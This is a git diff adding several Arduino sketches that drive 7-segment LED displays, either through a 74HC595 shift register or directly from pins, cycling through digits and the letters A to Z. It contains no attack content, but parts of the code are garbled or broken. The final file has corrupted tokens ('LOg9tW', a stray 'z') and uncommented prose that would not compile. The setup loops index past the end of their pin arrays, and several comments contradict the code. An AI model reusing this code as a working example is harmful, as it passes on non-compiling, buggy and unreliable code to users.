EXCLA); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + changeLED(7,OFF); + } + +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_2x7_Segment_74HC_Self/_2x7_Segment_74HC_Self.ino b/Projects/7 Segment Main/_2x7_Segment_74HC_Self/_2x7_Segment_74HC_Self.ino new file mode 100755 index 0000000..f138ac8 --- /dev/null +++ b/Projects/7 Segment Main/_2x7_Segment_74HC_Self/_2x7_Segment_74HC_Self.ino @@ -0,0 +1,324 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + + + + +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON1 = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF1 = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean Two[] = {OFF1, ON1, ON1, ON1, OFF1, ON1, ON1}; +const boolean Three[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean Four[] = {ON1, OFF1, OFF1, ON1, ON1, OFF1, ON1}; +const boolean Five[] = {ON1, ON1, OFF1, ON1, ON1, ON1, OFF1}; +const boolean Six[] = {ON1, ON1, ON1, ON1, ON1, ON1, OFF1}; +const boolean Seven[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean Eight[] = {ON1, ON1, ON1, ON1, ON1, ON1, ON1}; +const boolean Nine[] = {ON1, ON1, OFF1, ON1, ON1, ON1, ON1}; +const boolean Zero[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + + + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 8; i++) + { + changeLED(0,ON); // - 9 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Nine); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 8 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Eight); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 7 + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Seven); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 6 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, Six); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 5 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, Five); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 4 + changeLED(3,ON); + changeLED(4,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Four); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 3 + changeLED(1,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Three); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 2 + changeLED(2,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Two); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 1 + changeLED(6,ON); + + setNumber(ledDigitalOne, One); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 0 + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Zero); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + } + + +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_2x7_Segment_74HC_Write/_2x7_Segment_74HC_Write.ino b/Projects/7 Segment Main/_2x7_Segment_74HC_Write/_2x7_Segment_74HC_Write.ino new file mode 100755 index 0000000..9703f29 --- /dev/null +++ b/Projects/7 Segment Main/_2x7_Segment_74HC_Write/_2x7_Segment_74HC_Write.ino @@ -0,0 +1,603 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + + + + +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7, 6}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON1 = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF1 = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean Two[] = {OFF1, ON1, ON1, ON1, OFF1, ON1, ON1}; +const boolean Three[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean Four[] = {ON1, OFF1, OFF1, ON1, ON1, OFF1, ON1}; +const boolean Five[] = {ON1, ON1, OFF1, ON1, ON1, ON1, OFF1}; +const boolean Six[] = {ON1, ON1, ON1, ON1, ON1, ON1, OFF1}; +const boolean Seven[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean Eight[] = {ON1, ON1, ON1, ON1, ON1, ON1, ON1}; +const boolean Nine[] = {ON1, ON1, OFF1, ON1, ON1, ON1, ON1}; +const boolean Zero[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; + +const boolean A[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean B[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; +const boolean C[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean D[] = {ON1, ON1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean E[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean F[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean G[] = {ON1, ON1, OFF1, OFF1, ON1, ON1, ON1}; +const boolean H[] = {OFF1, ON1, ON1, OFF1, ON1, ON1, OFF1}; +const boolean I[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean J[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean K[] = {OFF1, ON1, ON1, ON1, OFF1, OFF1, ON1}; +const boolean L[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean M[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean N[] = {OFF1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean O[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean P[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean Q[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean R[] = {OFF1, ON1, OFF1, ON1, OFF1, OFF1, ON1}; +const boolean S[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean T[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean U[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean V[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean W[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean X[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean Y[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean Z[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean EXCLA[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + + + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 31; i++) + { + changeLED(0,ON); // - A + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, A); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - B + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, B); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - C + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, C); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - D + changeLED(2,ON); + changeLED(3,ON); + + setNumber(ledDigitalOne, D); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- E + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, E); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- F + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, F); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // -- G + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, G); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- H + changeLED(1,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, H); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - I + + setNumber(ledDigitalOne, I); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(5,ON); // - j + + setNumber(ledDigitalOne, J); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- K + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, K); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - L + + setNumber(ledDigitalOne, L); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - M + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, M); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - N + changeLED(2,ON); + changeLED(3,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, N); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 0 + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, O); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- P + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, P); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - Q + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, Q); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- R + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, R); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- S + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, S); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(2,ON); // - T + changeLED(3,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, T); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - U + changeLED(5,ON); + + setNumber(ledDigitalOne, U); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - V + changeLED(5,ON); + + setNumber(ledDigitalOne, V); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - W + changeLED(5,ON); + + setNumber(ledDigitalOne, W); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - X + changeLED(5,ON); + + setNumber(ledDigitalOne, X); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- Y + changeLED(1,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Y); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(2,ON); // - Z + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Z); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - EXCLA + changeLED(7,ON); + + setNumber(ledDigitalOne, EXCLA); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + changeLED(7,OFF); + + } + +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_7_Segment/_7_Segment.ino b/Projects/7 Segment Main/_7_Segment/_7_Segment.ino new file mode 100755 index 0000000..c7a976e --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment/_7_Segment.ino @@ -0,0 +1,288 @@ +/* +Make Projects: How to Drive a 7 Segment LED + URL: + By: Riley Porter + This is an introduction on how to drive a 7 Segment LED using only a Arduino. This is + not the best way to do this. This is meant to be a learning excercise. In later tutorials + I will show you how to use an dedicated IC using SPI or a Shift Register. Enjoy. + */ + + digitalWrite(A, HIGH) = turn off the "A" segment in the LED display + digitalWrite(B, LOW) = turn on the "B" segment in the LED display + + + +#define A 8 +#define B 9 +#define C 2 +#define D 3 +#define E 4 +#define F 5 +#define G 6 + + + + +void clr() +{ + //Clears the LED + digitalWrite(A, HIGH); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); + digitalWrite(D, HIGH); + digitalWrite(E, HIGH); + digitalWrite(F, HIGH); + digitalWrite(G, HIGH); + +} + + +void char_A() +{ + digitalWrite(D, HIGH); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOg9tW); +} +z +void char_B() +{ + //Displays B + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, HIGH); + digitalWrite(B, HIGH); + digitalWrite(C, LOW); +} + +void char_C() +{ + //Displays C + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, HIGH); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + +void char_D() +{ + //Displays D + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, HIGH); + digitalWrite(G, LOW); + digitalWrite(A, HIGH); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void char_E() +{ + //Displays E + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + +void char_F() +{ + //Displays F + digitalWrite(D, HIGH); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + + +void one() +{ + //Displays 1 + digitalWrite(D, HIGH); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, HIGH); + digitalWrite(A, HIGH); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + +void two() +{ + //Displays 2 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, HIGH); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, HIGH); +} + +void three() +{ + //Displays 3 + digitalWrite(D, LOW); + digitalWrite(E, HIGH); + digitalWrite(F, HIGH); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void four() +{ + //Displays 4 + digitalWrite(D, HIGH); + digitalWrite(E, HIGH); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, HIGH); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void five() +{ + //Displays 5 + digitalWrite(D, LOW); + digitalWrite(E, HIGH); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, LOW); +} + +void six() +{ + //Displays 6 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, LOW); +} + +void seven() +{ + //Displays 7 + digitalWrite(D, HIGH); + digitalWrite(E, HIGH); + 